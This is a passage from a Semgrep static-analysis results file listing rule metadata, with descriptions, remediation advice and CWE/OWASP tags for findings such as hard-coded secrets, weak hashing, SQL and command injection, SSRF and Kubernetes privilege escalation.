similar."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.dynamic-proxy-host.dynamic-proxy-host","id":"generic.nginx.security.dynamic-proxy-host.dynamic-proxy-host","name":"generic.nginx.security.dynamic-proxy-host.dynamic-proxy-host","properties":{"precision":"very-high","tags":["CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.dynamic-proxy-host.dynamic-proxy-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.passwordauthenticationmethod-hardcoded-secret.passwordauthenticationmethod-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.passwordauthenticationmethod-hardcoded-secret.passwordauthenticationmethod-hardcoded-secret","id":"csharp.lang.security.system.passwordauthenticationmethod-hardcoded-secret.passwordauthenticationmethod-hardcoded-secret","name":"csharp.lang.security.system.passwordauthenticationmethod-hardcoded-secret.passwordauthenticationmethod-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.passwordauthenticationmethod-hardcoded-secret.passwordauthenticationmethod-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.use-of-md5.use-of-md5)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.use-of-md5.use-of-md5","id":"kotlin.lang.security.use-of-md5.use-of-md5","name":"kotlin.lang.security.use-of-md5.use-of-md5","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.use-of-md5.use-of-md5"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.neo4j.python-neo4j-hardcoded-secret.python-neo4j-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.neo4j.python-neo4j-hardcoded-secret.python-neo4j-hardcoded-secret","id":"python.neo4j.python-neo4j-hardcoded-secret.python-neo4j-hardcoded-secret","name":"python.neo4j.python-neo4j-hardcoded-secret.python-neo4j-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.neo4j.python-neo4j-hardcoded-secret.python-neo4j-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.chacha20-hardcoded-secret.chacha20-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.chacha20-hardcoded-secret.chacha20-hardcoded-secret","id":"swift.cryptoswift.chacha20-hardcoded-secret.chacha20-hardcoded-secret","name":"swift.cryptoswift.chacha20-hardcoded-secret.chacha20-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.chacha20-hardcoded-secret.chacha20-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.no-null-cipher.no-null-cipher)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.no-null-cipher.no-null-cipher","id":"kotlin.lang.security.no-null-cipher.no-null-cipher","name":"kotlin.lang.security.no-null-cipher.no-null-cipher","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.no-null-cipher.no-null-cipher"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected DynamoDB query params that are tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client."},"help":{"markdown":"Detected DynamoDB query params that are tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.dynamodb-request-object.dynamodb-request-object)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected DynamoDB query params that are tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.dynamodb-request-object.dynamodb-request-object","id":"javascript.aws-lambda.security.dynamodb-request-object.dynamodb-request-object","name":"javascript.aws-lambda.security.dynamodb-request-object.dynamodb-request-object","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.dynamodb-request-object.dynamodb-request-object"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"No token revoking configured for `express-jwt`. A leaked token could still be used and unable to be revoked. Consider using function as the `isRevoked` option."},"help":{"markdown":"No token revoking configured for `express-jwt`. A leaked token could still be used and unable to be revoked. Consider using function as the `isRevoked` option.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-jwt-not-revoked.express-jwt-not-revoked)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"No token revoking configured for `express-jwt`. A leaked token could still be used and unable to be revoked. Consider using function as the `isRevoked` option."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-jwt-not-revoked.express-jwt-not-revoked","id":"javascript.express.security.audit.express-jwt-not-revoked.express-jwt-not-revoked","name":"javascript.express.security.audit.express-jwt-not-revoked.express-jwt-not-revoked","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-jwt-not-revoked.express-jwt-not-revoked"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.simple-command-injection-direct-input.simple-command-injection-direct-input)\n - [https://docs.oracle.com/javase/8/docs/api/java/lang/Runtime.html](https://docs.oracle.com/javase/8/docs/api/java/lang/Runtime.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.spring.simple-command-injection-direct-input.simple-command-injection-direct-input","id":"java.spring.simple-command-injection-direct-input.simple-command-injection-direct-input","name":"java.spring.simple-command-injection-direct-input.simple-command-injection-direct-input","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.simple-command-injection-direct-input.simple-command-injection-direct-input"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The deprecated functions 'createCipher' and 'createDecipher' generate the same initialization vector every time. For counter modes such as CTR, GCM, or CCM this leads to break of both confidentiality and integrity, if the key is used more than once. Other modes are still affected in their strength, though they're not completely broken. Use 'createCipheriv' or 'createDecipheriv' instead."},"help":{"markdown":"The deprecated functions 'createCipher' and 'createDecipher' generate the same initialization vector every time. For counter modes such as CTR, GCM, or CCM this leads to break of both confidentiality and integrity, if the key is used more than once. Other modes are still affected in their strength, though they're not completely broken. Use 'createCipheriv' or 'createDecipheriv' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.node-crypto.security.create-de-cipher-no-iv.create-de-cipher-no-iv)\n - [https://nodejs.org/api/crypto.html#cryptocreatecipheralgorithm-password-options](https://nodejs.org/api/crypto.html#cryptocreatecipheralgorithm-password-options)\n - [https://nodejs.org/api/crypto.html#cryptocreatedecipheralgorithm-password-options](https://nodejs.org/api/crypto.html#cryptocreatedecipheralgorithm-password-options)\n","text":"The deprecated functions 'createCipher' and 'createDecipher' generate the same initialization vector every time. For counter modes such as CTR, GCM, or CCM this leads to break of both confidentiality and integrity, if the key is used more than once. Other modes are still affected in their strength, though they're not completely broken. Use 'createCipheriv' or 'createDecipheriv' instead."},"helpUri":"https://semgrep.dev/r/javascript.node-crypto.security.create-de-cipher-no-iv.create-de-cipher-no-iv","id":"javascript.node-crypto.security.create-de-cipher-no-iv.create-de-cipher-no-iv","name":"javascript.node-crypto.security.create-de-cipher-no-iv.create-de-cipher-no-iv","properties":{"precision":"very-high","tags":["CWE-1204: Generation of Weak Initialization Vector (IV)","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.node-crypto.security.create-de-cipher-no-iv.create-de-cipher-no-iv"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found a potentially user-controllable argument in the construction of a regular expressions. This may result in excessive resource consumption when applied to certain inputs, or when the user is allowed to control the match target. Avoid allowing users to specify regular expressions processed by the server. If you must support user-controllable input in a regular expression, use an allow-list to restrict the expressions users may supply to limit catastrophic backtracking."},"help":{"markdown":"Found a potentially user-controllable argument in the construction of a regular expressions. This may result in excessive resource consumption when applied to certain inputs, or when the user is allowed to control the match target. Avoid allowing users to specify regular expressions processed by the server. If you must support user-controllable input in a regular expression, use an allow-list to restrict the expressions users may supply to limit catastrophic backtracking.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-regex-dos.check-regex-dos)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n","text":"Found a potentially user-controllable argument in the construction of a regular expressions. This may result in excessive resource consumption when applied to certain inputs, or when the user is allowed to control the match target. Avoid allowing users to specify regular expressions processed by the server. If you must support user-controllable input in a regular expression, use an allow-list to restrict the expressions users may supply to limit catastrophic backtracking."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-regex-dos.check-regex-dos","id":"ruby.rails.security.brakeman.check-regex-dos.check-regex-dos","name":"ruby.rails.security.brakeman.check-regex-dos.check-regex-dos","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-regex-dos.check-regex-dos"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.code.vm-express.vm-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/javascript.express.code.vm-express.vm-express","id":"javascript.express.code.vm-express.vm-express","name":"javascript.express.code.vm-express.vm-express","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.code.vm-express.vm-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"In Kubernetes, each pod runs in its own isolated environment with its own  set of security policies. However, certain container images may contain  `setuid` or `setgid` binaries that could allow an attacker to perform  privilege escalation and gain access to sensitive resources. To mitigate  this risk, it's recommended to add a `securityContext` to the container in  the pod, with the parameter `allowPrivilegeEscalation` set to `false`.  This will prevent the container from running any privileged processes and  limit the impact of any potential attacks.  In the container `$CONTAINER` this parameter is set to `true` which makes this container much more vulnerable to privelege escalation attacks."},"help":{"markdown":"In Kubernetes, each pod runs in its own isolated environment with its own  set of security policies. However, certain container images may contain  `setuid` or `setgid` binaries that could allow an attacker to perform  privilege escalation and gain access to sensitive resources. To mitigate  this risk, it's recommended to add a `securityContext` to the container in  the pod, with the parameter `allowPrivilegeEscalation` set to `false`.  This will prevent the container from running any privileged processes and  limit the impact of any potential attacks.  In the container `$CONTAINER` this parameter is set to `true` which makes this container much more vulnerable to privelege escalation attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation-true.allow-privilege-escalation-true)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n - [https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt](https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag)\n","text":"In Kubernetes, each pod runs in its own isolated environment with its own  set of security policies. However, certain container images may contain  `setuid` or `setgid` binaries that could allow an attacker to perform  privilege escalation and gain access to sensitive resources. To mitigate  this risk, it's recommended to add a `securityContext` to the container in  the pod, with the parameter `allowPrivilegeEscalation` set to `false`.  This will prevent the container from running any privileged processes and  limit the impact of any potential attacks.  In the container `$CONTAINER` this parameter is set to `true` which makes this container much more vulnerable to privelege escalation attacks."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation-true.allow-privilege-escalation-true","id":"yaml.kubernetes.security.allow-privilege-escalation-true.allow-privilege-escalation-true","name":"yaml.kubernetes.security.allow-privilege-escalation-true.allow-privilege-escalation-true","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.allow-privilege-escalation-true.allow-privilege-escalation-true"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via http.$FUNC to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via http.$FUNC to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.http-request.http-request)\n - [https://golang.org/pkg/net/http/#Get](https://golang.org/pkg/net/http/#Get)\n","text":"Checks for requests sent via http.$FUNC to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.http-request.http-request","id":"problem-based-packs.insecure-transport.go-stdlib.http-request.http-request","name":"problem-based-packs.insecure-transport.go-stdlib.http-request.http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.http-request.http-request"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The function `mktemp` is deprecated. When using this function, it is possible for an attacker to modify the created file before the filename is returned. Use `NamedTemporaryFile()` instead and pass it the `delete=False` parameter."},"help":{"markdown":"The function `mktemp` is deprecated. When using this function, it is possible for an attacker to modify the created file before the filename is returned. Use `NamedTemporaryFile()` instead and pass it the `delete=False` parameter.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.file.avoid-mktemp.avoid-mktemp)\n - [https://docs.python.org/3/library/tempfile.html#tempfile.mktemp](https://docs.python.org/3/library/tempfile.html#tempfile.mktemp)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The function `mktemp` is deprecated. When using this function, it is possible for an attacker to modify the created file before the filename is returned. Use `NamedTemporaryFile()` instead and pass it the `delete=False` parameter."},"helpUri":"https://semgrep.dev/r/python.lang.file.avoid-mktemp.avoid-mktemp","id":"python.lang.file.avoid-mktemp.avoid-mktemp","name":"python.lang.file.avoid-mktemp.avoid-mktemp","properties":{"precision":"very-high","tags":["CWE-377: Insecure Temporary File","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.file.avoid-mktemp.avoid-mktemp"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.pg-sqli-taint.pg-sqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.net.sql.pg-sqli-taint.pg-sqli-taint","id":"go.net.sql.pg-sqli-taint.pg-sqli-taint","name":"go.net.sql.pg-sqli-taint.pg-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.pg-sqli-taint.pg-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of the functions `Math.random()` or `java.util.Random()`. These are both not cryptographically strong random number generators (RNGs). If you are using these RNGs to create passwords or secret tokens, use `java.security.SecureRandom` instead."},"help":{"markdown":"Detected use of the functions `Math.random()` or `java.util.Random()`. These are both not cryptographically strong random number generators (RNGs). If you are using these RNGs to create passwords or secret tokens, use `java.security.SecureRandom` instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.weak-random.weak-random)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the functions `Math.random()` or `java.util.Random()`. These are both not cryptographically strong random number generators (RNGs). If you are using these RNGs to create passwords or secret tokens, use `java.security.SecureRandom` instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.weak-random.weak-random","id":"java.lang.security.audit.crypto.weak-random.weak-random","name":"java.lang.security.audit.crypto.weak-random.weak-random","properties":{"precision":"very-high","tags":["CWE-330: Use of Insufficiently Random Values","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.weak-random.weak-random"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.request.ssrf-deepsemgrep.ssrf-deepsemgrep)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/javascript.express.request.ssrf-deepsemgrep.ssrf-deepsemgrep","id":"javascript.express.request.ssrf-deepsemgrep.ssrf-deepsemgrep","name":"javascript.express.request.ssrf-deepsemgrep.ssrf-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.request.ssrf-deepsemgrep.ssrf-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead 